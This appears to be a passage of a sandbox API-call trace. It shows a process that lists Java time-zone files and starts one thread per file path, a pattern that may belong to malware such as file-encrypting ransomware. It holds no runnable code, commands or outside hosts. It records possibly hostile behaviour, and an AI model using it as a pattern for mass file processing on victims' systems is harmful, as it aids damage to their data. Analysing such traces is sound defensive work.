lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x259, dwReserved0=0x0, dwReserved1=0x0, cFileName="Khandyga", cAlternateFileName="")) returned 1 [0182.040] wcscmp (_String1="Khandyga", _String2=".") returned 1 [0182.040] wcscmp (_String1="Khandyga", _String2="..") returned 1 [0182.040] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93c440 [0182.040] wcscpy (in: _Dest=0x93c440, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.040] wcscat (in: _Dest=0x93c440, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.040] wcscat (in: _Dest=0x93c440, _Source="Khandyga" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Khandyga") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Khandyga" [0182.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x86c [0182.041] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kolkata", cAlternateFileName="")) returned 1 [0182.041] wcscmp (_String1="Kolkata", _String2=".") returned 1 [0182.041] wcscmp (_String1="Kolkata", _String2="..") returned 1 [0182.041] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c350 [0182.041] wcscpy (in: _Dest=0x93c350, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.041] wcscat (in: _Dest=0x93c350, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.041] wcscat (in: _Dest=0x93c350, _Source="Kolkata" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kolkata") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kolkata" [0182.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc14 [0182.043] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Krasnoyarsk", cAlternateFileName="KRASNO~1")) returned 1 [0182.043] wcscmp (_String1="Krasnoyarsk", _String2=".") returned 1 [0182.043] wcscmp (_String1="Krasnoyarsk", _String2="..") returned 1 [0182.043] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0900 [0182.043] wcscpy (in: _Dest=0x8d0900, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.043] wcscat (in: _Dest=0x8d0900, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.043] wcscat (in: _Dest=0x8d0900, _Source="Krasnoyarsk" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Krasnoyarsk") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Krasnoyarsk" [0182.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x870 [0182.044] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kuala_Lumpur", cAlternateFileName="KUALA_~1")) returned 1 [0182.044] wcscmp (_String1="Kuala_Lumpur", _String2=".") returned 1 [0182.044] wcscmp (_String1="Kuala_Lumpur", _String2="..") returned 1 [0182.044] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0200 [0182.044] wcscpy (in: _Dest=0x8d0200, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.044] wcscat (in: _Dest=0x8d0200, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.044] wcscat (in: _Dest=0x8d0200, _Source="Kuala_Lumpur" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kuala_Lumpur") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kuala_Lumpur" [0182.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x874 [0182.047] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kuching", cAlternateFileName="")) returned 1 [0182.047] wcscmp (_String1="Kuching", _String2=".") returned 1 [0182.047] wcscmp (_String1="Kuching", _String2="..") returned 1 [0182.047] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c4b8 [0182.048] wcscpy (in: _Dest=0x93c4b8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.048] wcscat (in: _Dest=0x93c4b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.048] wcscat (in: _Dest=0x93c4b8, _Source="Kuching" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kuching") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kuching" [0182.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c4b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x908 [0182.049] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kuwait", cAlternateFileName="")) returned 1 [0182.049] wcscmp (_String1="Kuwait", _String2=".") returned 1 [0182.049] wcscmp (_String1="Kuwait", _String2="..") returned 1 [0182.049] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f1608 [0182.049] wcscpy (in: _Dest=0x8f1608, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.049] wcscat (in: _Dest=0x8f1608, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.049] wcscat (in: _Dest=0x8f1608, _Source="Kuwait" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kuwait") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kuwait" [0182.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x184c [0182.050] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x189, dwReserved0=0x0, dwReserved1=0x0, cFileName="Macau", cAlternateFileName="")) returned 1 [0182.050] wcscmp (_String1="Macau", _String2=".") returned 1 [0182.050] wcscmp (_String1="Macau", _String2="..") returned 1 [0182.050] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f13d8 [0182.050] wcscpy (in: _Dest=0x8f13d8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.050] wcscat (in: _Dest=0x8f13d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.050] wcscat (in: _Dest=0x8f13d8, _Source="Macau" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Macau") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Macau" [0182.050] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f13d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1af8 [0182.054] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Magadan", cAlternateFileName="")) returned 1 [0182.054] wcscmp (_String1="Magadan", _String2=".") returned 1 [0182.054] wcscmp (_String1="Magadan", _String2="..") returned 1 [0182.054] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c2d8 [0182.054] wcscpy (in: _Dest=0x93c2d8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.054] wcscat (in: _Dest=0x93c2d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.054] wcscat (in: _Dest=0x93c2d8, _Source="Magadan" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Magadan") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Magadan" [0182.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c2d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0182.055] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Makassar", cAlternateFileName="")) returned 1 [0182.055] wcscmp (_String1="Makassar", _String2=".") returned 1 [0182.055] wcscmp (_String1="Makassar", _String2="..") returned 1 [0182.055] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93be28 [0182.055] wcscpy (in: _Dest=0x93be28, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.055] wcscat (in: _Dest=0x93be28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.055] wcscat (in: _Dest=0x93be28, _Source="Makassar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Makassar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Makassar" [0182.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93be28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1180 [0182.056] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manila", cAlternateFileName="")) returned 1 [0182.056] wcscmp (_String1="Manila", _String2=".") returned 1 [0182.057] wcscmp (_String1="Manila", _String2="..") returned 1 [0182.057] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f19f8 [0182.057] wcscpy (in: _Dest=0x8f19f8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.057] wcscat (in: _Dest=0x8f19f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.057] wcscat (in: _Dest=0x8f19f8, _Source="Manila" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Manila") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Manila" [0182.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f19f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aa8 [0182.058] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Muscat", cAlternateFileName="")) returned 1 [0182.058] wcscmp (_String1="Muscat", _String2=".") returned 1 [0182.058] wcscmp (_String1="Muscat", _String2="..") returned 1 [0182.058] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f1448 [0182.058] wcscpy (in: _Dest=0x8f1448, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.058] wcscat (in: _Dest=0x8f1448, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.058] wcscat (in: _Dest=0x8f1448, _Source="Muscat" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Muscat") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Muscat" [0182.058] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca8 [0182.059] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nicosia", cAlternateFileName="")) returned 1 [0182.059] wcscmp (_String1="Nicosia", _String2=".") returned 1 [0182.059] wcscmp (_String1="Nicosia", _String2="..") returned 1 [0182.059] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93bf18 [0182.059] wcscpy (in: _Dest=0x93bf18, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.060] wcscat (in: _Dest=0x93bf18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.060] wcscat (in: _Dest=0x93bf18, _Source="Nicosia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Nicosia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Nicosia" [0182.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bf18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd0 [0182.061] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Novokuznetsk", cAlternateFileName="NOVOKU~1")) returned 1 [0182.061] wcscmp (_String1="Novokuznetsk", _String2=".") returned 1 [0182.061] wcscmp (_String1="Novokuznetsk", _String2="..") returned 1 [0182.061] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8cfd00 [0182.061] wcscpy (in: _Dest=0x8cfd00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.061] wcscat (in: _Dest=0x8cfd00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.061] wcscat (in: _Dest=0x8cfd00, _Source="Novokuznetsk" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Novokuznetsk") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Novokuznetsk" [0182.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cfd00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcac [0182.360] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x24d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Novosibirsk", cAlternateFileName="NOVOSI~1")) returned 1 [0182.360] wcscmp (_String1="Novosibirsk", _String2=".") returned 1 [0182.360] wcscmp (_String1="Novosibirsk", _String2="..") returned 1 [0182.360] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8cff00 [0182.360] wcscpy (in: _Dest=0x8cff00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.360] wcscat (in: _Dest=0x8cff00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.360] wcscat (in: _Dest=0x8cff00, _Source="Novosibirsk" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Novosibirsk") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Novosibirsk" [0183.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cff00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1530 [0183.888] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Omsk", cAlternateFileName="")) returned 1 [0183.888] wcscmp (_String1="Omsk", _String2=".") returned 1 [0183.888] wcscmp (_String1="Omsk", _String2="..") returned 1 [0183.888] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f1b48 [0183.888] wcscpy (in: _Dest=0x8f1b48, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0183.888] wcscat (in: _Dest=0x8f1b48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0183.888] wcscat (in: _Dest=0x8f1b48, _Source="Omsk" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Omsk") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Omsk" [0183.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1b48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1354 [0183.889] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oral", cAlternateFileName="")) returned 1 [0183.889] wcscmp (_String1="Oral", _String2=".") returned 1 [0183.889] wcscmp (_String1="Oral", _String2="..") returned 1 [0183.889] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f0f78 [0183.889] wcscpy (in: _Dest=0x8f0f78, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0183.889] wcscat (in: _Dest=0x8f0f78, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0183.889] wcscat (in: _Dest=0x8f0f78, _Source="Oral" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Oral") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Oral" [0183.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f0f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc94 [0183.890] FindNextFileW (in: hFindFile=0x93ba38, 